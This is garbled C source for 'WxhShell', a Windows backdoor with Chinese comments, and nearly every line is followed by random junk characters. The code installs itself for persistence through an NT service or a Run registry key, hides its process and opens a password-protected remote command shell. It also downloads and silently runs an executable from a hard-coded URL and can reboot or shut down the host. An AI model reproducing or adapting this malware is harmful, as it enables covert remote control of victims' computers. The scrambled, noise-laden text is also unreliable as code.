ULONG InheritedFromUniqueProcessId; 64<*\z_
} PROCESS_BASIC_INFORMATION; N-Bw&hEZ
#/_ VY.
PROCNTQSIP NtQueryInformationProcess; g@>93j=cZU
s"2+H}u
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZXIz.GFy+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -3m!970
~~m(CJ4S
HANDLE hProcess; X+N8r^&
PROCESS_BASIC_INFORMATION pbi; TZ}y%iU:mB
Q~rE+?n9F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fhC| =0XB
if(NULL == hInst ) return 0; kjOkPp
QNx xW2+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `}FZ;q3DP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4AF.KX7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wdga(8t
&^Gp
if (!NtQueryInformationProcess) return 0; (rq(y$N
s3K!~v\L]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Blj<|\igc
if(!hProcess) return 0; 1qm*#4x
aB`jFp-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {.e^1qE
CW.T`F
CloseHandle(hProcess); ::-*~CH)
*D1vla8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M 5`hMfg
if(hProcess==NULL) return 0; +jKu^f6
A8:eA
HMODULE hMod; 9o3?
char procName[255]; #qK5i1<
unsigned long cbNeeded; tX,x% (
Q-1Xgw!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j[dgY1yE:
h
R6Pj"@0
CloseHandle(hProcess); SzfMQ@~
HuQdQ*Q
if(strstr(procName,"services")) return 1; // 以服务启动 "98j-L=F+
s%RG_"l
return 0; // 注册表启动 \l`{u)V
} xLgZtLt9
iO2jT+i
// 主模块 aP"!}*
int StartWxhshell(LPSTR lpCmdLine) ?I\,RiZkz^
{ Lg|d[*;'7
SOCKET wsl; nyBT4e
BOOL val=TRUE; u1\r:q
int port=0; Ka<J*
k3
struct sockaddr_in door; 6&
6|R3
91nw1c!
if(wscfg.ws_autoins) Install(); D_`NCnYG
Iyb_5 UmpF
port=atoi(lpCmdLine); t 6lwKK
g}L>k}I?!W
if(port<=0) port=wscfg.ws_port; "b%FkD
H6U5-
WSADATA data; +d(|Jid
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <y&&{*KW8m
T)',}=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NOKU2d4 G
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Y$(
lszT
door.sin_family = AF_INET; 9PMIF9"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'g3T'2"`5
door.sin_port = htons(port); mkl^2V13~
\N$)Q.M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <1
;pyw
y
closesocket(wsl); ;~'& m
return 1; g(,^';j
} tBX71d
T
IDL0!cF
if(listen(wsl,2) == INVALID_SOCKET) { o$rF-?
closesocket(wsl); a,r
B7aD
return 1; m;t&P58f
} \-f/\P/ w
Wxhshell(wsl); 1Kd6tnX
WSACleanup(); V Ew| N)
|qz%6w=
return 0; -Tn%O|#K
ga(k2Q;y
} '$?!>HN4
G=SMz+z
// 以NT服务方式启动 a6 1!j>Kx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tw&v@HUP
{ * ^V?u
DWORD status = 0; c*(^:#"9
DWORD specificError = 0xfffffff; ._Ww
RBBmGZ
serviceStatus.dwServiceType = SERVICE_WIN32; j4+Px%sW
serviceStatus.dwCurrentState = SERVICE_START_PENDING; L"n)fe$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K[LuvS
serviceStatus.dwWin32ExitCode = 0; z?( b|v
serviceStatus.dwServiceSpecificExitCode = 0; n.z,-H17
serviceStatus.dwCheckPoint = 0;
?r@^9
serviceStatus.dwWaitHint = 0; C+[)^2M{
4d-(:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V; CPn
if (hServiceStatusHandle==0) return; RS
l*u[fB
Y]](.\ff
status = GetLastError(); ZfK[o{9>
if (status!=NO_ERROR) )%3T1
D/
{ R&a$w8
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0;=-x"
serviceStatus.dwCheckPoint = 0; OZnKJ<
serviceStatus.dwWaitHint = 0; |_>^vW1f
serviceStatus.dwWin32ExitCode = status; Y#tur`N
serviceStatus.dwServiceSpecificExitCode = specificError; S2_(lS+R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \C h01LR"
return; LO>42o?/i
} v8j3
K
r[H8;&EL
serviceStatus.dwCurrentState = SERVICE_RUNNING; > pP&/
serviceStatus.dwCheckPoint = 0; a6^_iSk
serviceStatus.dwWaitHint = 0; O#^H.B
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); upL3M`
} _#s,$K#
mbGma
// 处理NT服务事件,比如:启动、停止 l-l7jq]R
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~rJG4U
{ ne/JC(
switch(fdwControl) {G VA4=UAE
{ 6/Xs}[iJ
case SERVICE_CONTROL_STOP: qS FtQ4
serviceStatus.dwWin32ExitCode = 0; UNff&E-
serviceStatus.dwCurrentState = SERVICE_STOPPED; e)g&q'O
serviceStatus.dwCheckPoint = 0; 7K:V<vX5
serviceStatus.dwWaitHint = 0; +8T^q,
{ !W9:)5^X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u0 tlf
} RbXR/Rd
return; U/QgO
case SERVICE_CONTROL_PAUSE: E<[
s+iX
serviceStatus.dwCurrentState = SERVICE_PAUSED; A>1$?A8Q
break; .t5.(0Xk[A
case SERVICE_CONTROL_CONTINUE: 4^F%bXJ)
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9ziFjP+1
break; MmR6V#@:
case SERVICE_CONTROL_INTERROGATE: bIAE?D
break; DylO;+
}; ]A'{DKR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>Raw
} /[.V( K
D
h@!p:]
// 标准应用程序主函数 .qO4ceW2-~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IMH4GVr"
{ -AdDPWn
}kqh[`:
// 获取操作系统版本 6]?mjG6
OsIsNt=GetOsVer(); c\{N:S>
GetModuleFileName(NULL,ExeFile,MAX_PATH); f^uiZb
e0zP LU}
// 从命令行安装 mH&7{2r
if(strpbrk(lpCmdLine,"iI")) Install(); \yr9j$
x#D%3v"l_*
// 下载执行文件 kGYpJg9=
if(wscfg.ws_downexe) { 4XjwU`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b>;?{
WinExec(wscfg.ws_filenam,SW_HIDE); S4x9k{Xn
} +'<PW+U$
,t9EL 21
if(!OsIsNt) { 4v\HaOk
// 如果时win9x,隐藏进程并且设置为注册表启动 _ ;j1g%
HideProc(); MA`nFkVK
StartWxhshell(lpCmdLine); >GGM76vB=,
} P R%)3
else %Jt35j@Ee
if(StartFromService()) x77L"5g
// 以服务方式启动 oMQ4q{&|
StartServiceCtrlDispatcher(DispatchTable); &Hb%Q! ^Kb
else \,Y
.5 ?
// 普通方式启动 |g&V? lI
StartWxhshell(lpCmdLine); <=M5)#
I%YwG3uR
return 0; 1<r!9x9G
} 5whW>T
|>;PV4])(
8z`ZHn3=
:#YC_
id
=========================================== W%L'nR~w$
2{79,Js0
k&$ov
fsL9d}
f .O^R~,
C+NN.5No
" 1K Fd
~U
9O;Sn +
#include <stdio.h> ]Dq6XR
#include <string.h> A9xeOy8e
#include <windows.h> m_)-
#include <winsock2.h>
d$$5&a
#include <winsvc.h> jIs>>
#include <urlmon.h> 2;v:Z^&
32ki ?\P
#pragma comment (lib, "Ws2_32.lib") t2dsYU/
#pragma comment (lib, "urlmon.lib") \S;[7T
#[prG
#define MAX_USER 100 // 最大客户端连接数 %'KRbY
#define BUF_SOCK 200 // sock buffer <m-(B"FX
#define KEY_BUFF 255 // 输入 buffer
/a1uG]Mt
L`nW&;w'
#define REBOOT 0 // 重启 ; J W]b]
#define SHUTDOWN 1 // 关机 0AO^d[v
~+\=X`y
#define DEF_PORT 5000 // 监听端口 F$t]JM
6e ?xu8|
#define REG_LEN 16 // 注册表键长度 rI$NNk'A
#define SVC_LEN 80 // NT服务名长度 _&-d0'+
|4@cX<d.
// 从dll定义API K#OL/2^
5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qyRN0ZB"A^
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "@G[:(BoB<
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [icD*N<Gc
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UT3Fi@
0|AgmW_7
.
// wxhshell配置信息 l[E^nh>
struct WSCFG { fu!T4{2
int ws_port; // 监听端口 PNm@mC_fh
char ws_passstr[REG_LEN]; // 口令 -Lq+FTezE
int ws_autoins; // 安装标记, 1=yes 0=no %+'Ex]B
char ws_regname[REG_LEN]; // 注册表键名 ("a@V8M`$F
char ws_svcname[REG_LEN]; // 服务名 J1w[gf]J
char ws_svcdisp[SVC_LEN]; // 服务显示名 EXSJ@k6=8s
char ws_svcdesc[SVC_LEN]; // 服务描述信息 B#g~c<4<
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ](JrEg$K
int ws_downexe; // 下载执行标记, 1=yes 0=no l= {Y[T&
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yr%[IX]R
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qx#M6\L!
^Laqq%PI
}; 0Md>-H;ZY
gKb,Vrt
// default Wxhshell configuration b+~_/;Y9
struct WSCFG wscfg={DEF_PORT, qm=U<'b^
"xuhuanlingzhe", )WoH>D
1, B?BOAH
"Wxhshell", 1m5l((d
"Wxhshell", {F<0e^*
"WxhShell Service", Tx}Nr^
"Wrsky Windows CmdShell Service", y[b8rv
"Please Input Your Password: ", HGYTh"R
1, =dQ[I6
"http://www.wrsky.com/wxhshell.exe", ^iONC&r
"Wxhshell.exe" V0^{Ss1M
}; f&CQn.K"
(xo`*Q,+
// 消息定义模块 zTc;-,
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3@" :&
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1
*'
/B
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %np(z&@wi
char *msg_ws_ext="\n\rExit.";
uF<34
char *msg_ws_end="\n\rQuit."; T+L=GnYl
char *msg_ws_boot="\n\rReboot..."; ]$ d ;P
char *msg_ws_poff="\n\rShutdown..."; #QFz /6
char *msg_ws_down="\n\rSave to "; K9zr]7;th
%?[gBf[y
char *msg_ws_err="\n\rErr!"; G_1r&[N3
char *msg_ws_ok="\n\rOK!"; },d^y:m
T^4 dHG-(
char ExeFile[MAX_PATH]; (#y2RF8j
int nUser = 0; :!_l@ =l
HANDLE handles[MAX_USER]; =0?5hxM d
int OsIsNt; '1D$ ;
ZbC$Fk,,I&
SERVICE_STATUS serviceStatus; }W^@mi
SERVICE_STATUS_HANDLE hServiceStatusHandle; ?1L<VL=b
:6o%x0l
// 函数声明 S`vt\g$ dN
int Install(void); Tz)Ku
int Uninstall(void); rf=l1GW
int DownloadFile(char *sURL, SOCKET wsh); `<g]p-=":
int Boot(int flag); XMS:F]HN
void HideProc(void); C<=rnIf'
int GetOsVer(void); lW5Lwyt8
int Wxhshell(SOCKET wsl); +d#8/S*
void TalkWithClient(void *cs); UJ,vE}=_{
int CmdShell(SOCKET sock); DY#195H
int StartFromService(void); {Fwvuk
int StartWxhshell(LPSTR lpCmdLine); qh.F}9o
oh-EEo4,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -r,v3n
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gIrbOMQ7
`xx.,;S
// 数据结构和表定义 `^Ll@Cx"
SERVICE_TABLE_ENTRY DispatchTable[] = [;{xiW4V]
{ @Y `Z3LiR$
{wscfg.ws_svcname, NTServiceMain}, <cOjtq,0
{NULL, NULL} hrnE5=iY
}; q6pHL
3Iqvc v
// 自我安装 K&&T:'=/
int Install(void) %~:\f#6
{ :
jkO
char svExeFile[MAX_PATH]; \ n2MP
HKEY key; FS5iUH+5
strcpy(svExeFile,ExeFile); 0\U*
\)5mO 8w
// 如果是win9x系统,修改注册表设为自启动 CKHmJ]=
if(!OsIsNt) { j_d}?jh
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C-A?
mIC
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bM"?^\a&Q